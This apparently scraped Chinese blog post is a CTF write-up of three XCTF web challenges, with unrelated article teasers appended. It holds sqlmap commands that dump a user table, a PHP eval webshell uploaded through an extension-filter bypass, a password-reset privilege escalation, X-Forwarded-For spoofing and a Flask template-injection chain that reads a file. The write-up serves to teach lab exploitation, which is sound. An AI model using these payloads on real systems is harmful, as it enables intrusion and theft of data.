攻防世界题目练习——Web引导模式(五)(持续更新)

题目目录

    • 1. FlatScience
    • 2. bug
    • 3. Confusion1

1. FlatScience

参考博客:
攻防世界web进阶区FlatScience详解
题目点进去如图,点击链接只能看到一些论文pdf
在这里插入图片描述
用dirsearch和御剑扫描出一些隐藏文件:
在这里插入图片描述
在这里插入图片描述
robots.txt:
在这里插入图片描述
admin.php:
在这里插入图片描述
login.php:
在这里插入图片描述
f12查看源码:
admin.php提示无法绕过:
在这里插入图片描述
login.php提示调试参数:
根据参考博客:
攻防世界-FlatScience
知道这里的提示指的是“在页面传入一个debug参数”
在这里插入图片描述
查看源码如图:
在这里插入图片描述
根据源码可以看到,密码在后面拼接上"Salz!"后进行sha1加密。

于是随便提交用户名密码提交抓包,把包复制进sql.txt用sqlmap跑一下,发现参数user存在sql注入:

python sqlmap.py -r sql.txt --batch

在这里插入图片描述
尝试跑数据库:
python sqlmap.py -r sql.txt --batch --dbs
提示说SQLite数据库不能列数据库,只能列表:
在这里插入图片描述
于是:

python sqlmap.py -r sql.txt --batch --tables

在这里插入图片描述

python sqlmap.py -r sql.txt --batch -T Users --columns

在这里插入图片描述

python sqlmap.py -r sql.txt --batch -T Users -C name,password --dump

可以看到密码是sha1加密:
在这里插入图片描述
根据第一篇参考博客说密码可能和pdf有关

脚本参考:
[CTF题目总结-web篇]攻防世界:flatscience

如何发现密码与pdf有关有关:
攻防世界-FlatScience
查看数据库的hint字段:
在这里插入图片描述
首先爬取所有pdf文件:
get_pdf.py

# coding=gbk
import urllib.request
import reallHtml = []
count = 0
pat_pdf = re.compile("href=\"[0-9a-z]+.pdf\"")
pat_html = re.compile("href=\"[0-9]/index\.html\"")def my_reptile(url_root, html):global pat_pdfglobal pat_htmlhtml = url_root + htmlif (isnew(html)):allHtml.append(html)print("[*]starting to crawl site:{}".format(html))with urllib.request.urlopen(html) as f:response = f.read().decode('utf-8')pdf_url = pat_pdf.findall(response)for p in pdf_url:p = p[6:len(p) - 1]download_pdf(html + p)html_url = pat_html.findall(response)for h in html_url:h = h[6:len(h) - 11]my_reptile(html, h)def download_pdf(pdf):global countfd = open(str(count) + '.pdf', 'wb')count += 1print("[+]downloading pdf from site:{}".format(pdf))with urllib.request.urlopen(pdf) as f:fd.write(f.read())fd.close()def isnew(html):global allHtmlfor h in allHtml:if (html == h):return Falsereturn Trueif __name__ == "__main__":my_reptile("http://61.147.171.105:60027/", '')

然后提取pdf的内容保存至txt文件:
安装pdfminer模块:
Python模块安装:Python3安装pdfminer3k
模块使用:
Python 第三方模块之 PDFMiner(pdf信息提取)

pip install pdfminer3k

pdf2txt.py

from pdfminer.pdfparser import PDFParser, PDFDocument
from pdfminer.pdfinterp import PDFResourceManager, PDFPageInterpreter
from pdfminer.converter import PDFPageAggregator
from pdfminer.layout import LTTextBoxHorizontal, LAParams
from pdfminer.pdfinterp import PDFTextExtractionNotAllowed
import osdef pdf2txt(pdfFile, txtFile):print('[+]converting {} to {}'.format(pdfFile, txtFile))fd_txt = open(txtFile, 'w', encoding='utf-8')fd_pdf = open(pdfFile, 'rb')parser = PDFParser(fd_pdf)doc = PDFDocument()parser.set_document(doc)doc.set_parser(parser)doc.initialize()manager = PDFResourceManager()laParams = LAParams()device = PDFPageAggregator(manager, laparams=laParams)interpreter = PDFPageInterpreter(manager, device)for page in doc.get_pages():interpreter.process_page(page)layout = device.get_result()for x in layout:if (isinstance(x, LTTextBoxHorizontal)):fd_txt.write(x.get_text())fd_txt.write('\n')fd_pdf.close()fd_txt.close()print('[-]finished')def crazyWork():print('[*]starting my crazy work')files = []for f in os.listdir():if (f.endswith('.pdf')):files.append(f[0:len(f) - 4])for f in files:pdf2txt(f + '.pdf', f + '.txt')if __name__ == '__main__':crazyWork()

sha1_passwd_search.py

import os
import hashlibdef searchPassword():print('[*]starting to search the word')for file in os.listdir():if (file.endswith('.txt')):print('[+]searching {}'.format(file))with open(file, 'r', encoding='utf-8') as f:for line in f:words = line.split(' ')for word in words:if (hashlib.sha1((word + 'Salz!').encode('utf-8')).hexdigest() =='3fab54a50e770d830c0416df817567662a9dc85c'):print('[@]haha,i find it:{}'.format(word))exit()if __name__ == '__main__':searchPassword()

在这里插入图片描述
用这个密码登录admin.php,获得flag:
在这里插入图片描述

2. bug

进入题目,如图:
在这里插入图片描述
没有头绪,御剑扫出来的config.php和core.php都无法直接访问看到内容,f12也看不到源码,也不存在robots.txt文件:
在这里插入图片描述
先注册一个账号试试:
在这里插入图片描述
注册成功:
在这里插入图片描述
试一试findpwd:
在这里插入图片描述
提示错误:
在这里插入图片描述
猜测可能是因为权限不够?
登录看看:
在这里插入图片描述
用户不存在,奇怪,这应该就是题目的"bug"吧。
查看注册后的response:
在这里插入图片描述
注意到一行代码window.history.go(-1),搜了一下看看:
vue中使用history.go(-1)和history.back()两种返回上一页的区别
博客里指出,
go(-1):原页面表单中的内容会丢失;
history.go(-1):后退+刷新
也就是说 window.history.go(-1)导致原来注册的表单的注册信息内容丢失。

然后就没有头绪了,搜搜解析吧 ^ ^

【愚公系列】2023年06月 攻防世界-Web(bug)
【攻防世界WEB】难度五星15分进阶题:bug
原来findpwd是找回密码的意思啊T_T
根据参考博客,【注册】和【找回密码】涉及到的知识点是越权。
重新注册后登录成功:
在这里插入图片描述
修改密码时要求长度大于等于6:
在这里插入图片描述
报文如图:
在这里插入图片描述
重新进入登陆页面,直接更改abc的密码,这个忘记密码是不需要原密码的,并且一开始用出生日期验证身份后,在修改密码的表单中只提交了用户名与新密码,cookie中也没有对身份的认证,就可以修改用户名为admin来实现修改admin的密码:
在这里插入图片描述
在这里插入图片描述
用该密码可以成功登录admin账户:
在这里插入图片描述
想点击Manage的时候,弹出提示说ip不允许:
在这里插入图片描述
于是更改ip,抓包修改X-Forwarded-For:127.0.0.1本地访问。
参考文章:
【愚公系列】2023年06月 攻防世界-Web(bug)
【攻防世界WEB】难度五星15分进阶题:bug
X-Forwarded-For绕过服务器IP地址过滤
HTTP 请求头中的 X-Forwarded-For
X-Forwarded-For用来表示 HTTP 请求端真实 IP。
在这里插入图片描述
可以看到成功进入manager页面:
在这里插入图片描述
页面里什么都没有,f12打开源码看看:
在这里插入图片描述

index.php?module=filemanage&do=???

根据博客【攻防世界WEB】难度五星15分进阶题:bug的讲解,这里主要要注意的是【filemanage,文件管理】,这是一个提示,一般涉及到文件管理能够利用的就是文件上传,所以这里考虑do=upload
在这里插入图片描述
先随便上传一个图片马:
在这里插入图片描述
文件后缀仍为png,而返回报文提示仍检验出了是php文件,所以修改一下内容,改成短语句试试:
在这里插入图片描述
对php的检测消失了,并且提示”you know what i want“,外面的文件后缀已经是jpg了,也就是说文件内容需要有图片的内容,加上图片文件头试试:
在这里插入图片描述
不行,看来得用真正的图片,用二进制编辑工具在图片文件末尾加上这个短语句尝试:
在这里插入图片描述
还是这个提示,可能我理解错了,文件上传页面的标题是"just image?",也就是想要的不只是图片,可能要在文件后缀上试试改为php相关的。
在这里插入图片描述
文件后缀改为php或者pHp都是可以被识别出php的,改成php3不会但仍会出现提示”you know what i want“,不懂,再看看参考博客吧TT
【愚公系列】2023年06月 攻防世界-Web(bug)说本题考点是用javascript执行php代码,哎…

<script language="php"> @eval($_POST['1']); </script>

php3还不能被识别为php文件,需要php4或者php5,下次记得多试一下数字好了…
这个题文件后缀不能直接用php或者pHp,会提示说这是一个php文件,但是又需要后缀能够被识别为php文件,也就是要用不那么明显的php后缀但又必须能为识别为php的后缀。
在这里插入图片描述

3. Confusion1

参考博客:
xctf攻防世界 Web高手进阶区 Confusion1

题目如图:
在这里插入图片描述

一开始一通乱点,啥都没发现,点进了blue-whale.me都没发现已经不是题目的链接范围了…
所以只能在Home Login Register里尝试,Home就是初始页面,Login Register点开都显示not found,我还以为真不存在呢,原来要查看源码,遇事不决,查看源码!
在这里插入图片描述
果然在源码里看到里提示,应该是指出flag在/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt文件里,所以要想办法能查看到该文件,根据参考博客,这里应该是考察模板注入,但是我已经忘记了,去看看之前做的题复习一下=_=
打开页面可以看到/login.php这个路径是被回显出来了的,于是尝试在后面跟一个子路径/{{2+5}}看看回显结果,可以看到被执行了,因此确定存在模板注入:
在这里插入图片描述
接下来就是利用一些变量来查看,但我还是不太熟。
根据参考博客,下面这些payload中的关键词都被过滤了,

{{''.__class__.__mro__[2].__subclasses__()}}
{{url_for.__globals__}}

于是尝试用__getattribute__('__'+'cla'+'ss'+'__')这种来绕过,参考博客flask模板注入(ssti),一篇就够了,但是失败了,如下:
在这里插入图片描述
继续看博客xctf攻防世界 Web高手进阶区 Confusion1,用request.args.key传参:

/{{''[request.args.a]}}?a=__class__/{{''[request.args.a][request.args.b][2][request.args.c]()[40]('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt')[request.args.d]()}}?a=__class__&b=__mro__&c=__subclasses__&d=read

在这里插入图片描述
学习一下:SSTI(模板注入)基础总结

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/277077.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

影视视频+知识付费行业万能通用响应式网站系统源码 三网合一 带完整的安装部署教程

互联网的快速发展&#xff0c;网络视频和知识付费行业也迎来了前所未有的发展机遇。为了满足这一市场的需求&#xff0c;基于响应式网站技术的万能通用影视视频知识付费行业网站系统便由此应运而生。本系统集成了三网合一的解决方案&#xff0c;旨在帮助用户快速搭建高品质、高…

flutter的SingleChildScrollView控件详解

文章目录 SingleChildScrollView的介绍和使用场景详细介绍 SingleChildScrollView的介绍和使用场景 SingleChildScrollView 是 Flutter 中的一个小部件&#xff0c;用于创建一个可滚动的单个子部件。它通常用于处理内容超出屏幕可见区域的情况&#xff0c;允许用户通过滚动来查…

2024年视频监控行业发展趋势预测及EasyCVR视频分析技术应用

随着技术的改进&#xff0c;视频监控领域在过去十年迅速发展。与此同时&#xff0c;该行业正在通过先进创新技术&#xff08;如人工智能和云计算等技术&#xff09;的积极商业化&#xff0c;获得了新的增长机会。视频监控系统不再仅仅用于记录图像&#xff0c;而是已经成为全球…

3. cgal 示例 GIS (Geographic Information System)

GIS (Geographic Information System) 地理信息系统 原文地址: https://doc.cgal.org/latest/Manual/tuto_gis.html GIS 应用中使用的许多传感器&#xff08;例如激光雷达&#xff09;都会生成密集的点云。此类应用程序通常利用更先进的数据结构&#xff1a;例如&#xff0c;不…

学习使用echarts漏斗图的参数配置和应用场景

学习使用echarts漏斗图的参数配置和应用场景 前言什么是漏斗图漏斗图的特点及应用场景漏斗图的特点漏斗图常见的的应用场景&#xff1a; echarts中漏斗的常用属性echart漏斗代码美化漏斗图样式1、设置标题字体大小2、设置标签样式3、设置漏斗图为渐变颜色4、设置高亮效果5、设置…

速学数据结构 | 树 森林 二叉树 的概念详讲篇

&#x1f3ac; 鸽芷咕&#xff1a;个人主页 &#x1f525; 个人专栏:《速学数据结构》 《C语言进阶篇》 ⛺️生活的理想&#xff0c;就是为了理想的生活! &#x1f4cb; 前言 &#x1f308;hello&#xff01; 各位宝子们大家好啊&#xff0c;关于线性表我们已经在前面更新完了…

MES安灯管理:优化生产监控的重要工具

一、MES安灯管理的概念 MES安灯管理是一种基于物理安灯和数字化管理的生产异常管理工具。它通过物理安灯和数字化系统的结合&#xff0c;实现对生产异常的实时监控和及时反馈&#xff0c;从而帮助企业快速响应和解决生产异常&#xff0c;提高生产效率和产品质量。 二、MES系统…

mysql:通过INFORMATION_SCHEMA数据库查询表的元信息

使用SELECT * FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA database_name AND TABLE_NAME table_name;查询某个表的元信息。其中database_name替换为数据库名称&#xff0c;table_name替换为表的名称。 例如&#xff0c;下面语句&#xff0c;查询development数据库中…

【C++初阶】类与对象(上)

类与对象&#xff08;上&#xff09; 1.面向过程和面向对象初步认识2.类的引入3.类的定义4.类的访问限定符及封装4.1 访问限定符4.2 封装 5.类的作用域6.类的实例化7.类对象模型7.1 如何计算类对象的大小7.2 结构体内存对齐规则 8.this指针8.1 this指针的引出8.2 this指针的特性…

前端必备-http知识

在掘金查看该文章 计算机网络五层模型 1.物理层 (Physical Layer) 关键词 光纤,电缆,双绞线,连接 物理层要解决的主要问题&#xff1a; &#xff08;1&#xff09;物理层要尽可能地屏蔽掉物理设备和传输媒体&#xff0c;通信手段的不同&#xff0c;使数据链路层感觉不到这些…

2023 re:Invent使用 PartyRock 和 Amazon Bedrock 安全高效构建 AI 应用程序

前言 本篇文章授权活动官方亚马逊云科技文章转发、改写权&#xff0c;包括不限于在 亚马逊云科技开发者社区, 知乎&#xff0c;自媒体平台&#xff0c;第三方开发者媒体等亚马逊云科技官方渠道 “Your Data, Your AI, Your Future.&#xff08;你的数据&#xff0c;你的AI&…

基于DICOM标准的医学影像PACS系统源码

基于 DICOM 的 PACS是医学图像归档与通信系统&#xff0c;是实现医学图像自动获取、显示、图像 后处理、传输、存储、查询、检索、写诊断报告、查看成像设备运行状态等功能复合型医学 图像管理系统。 PACS可以为医院其他系统提供医学图像&#xff0c;并能够形成图文并茂的诊断报…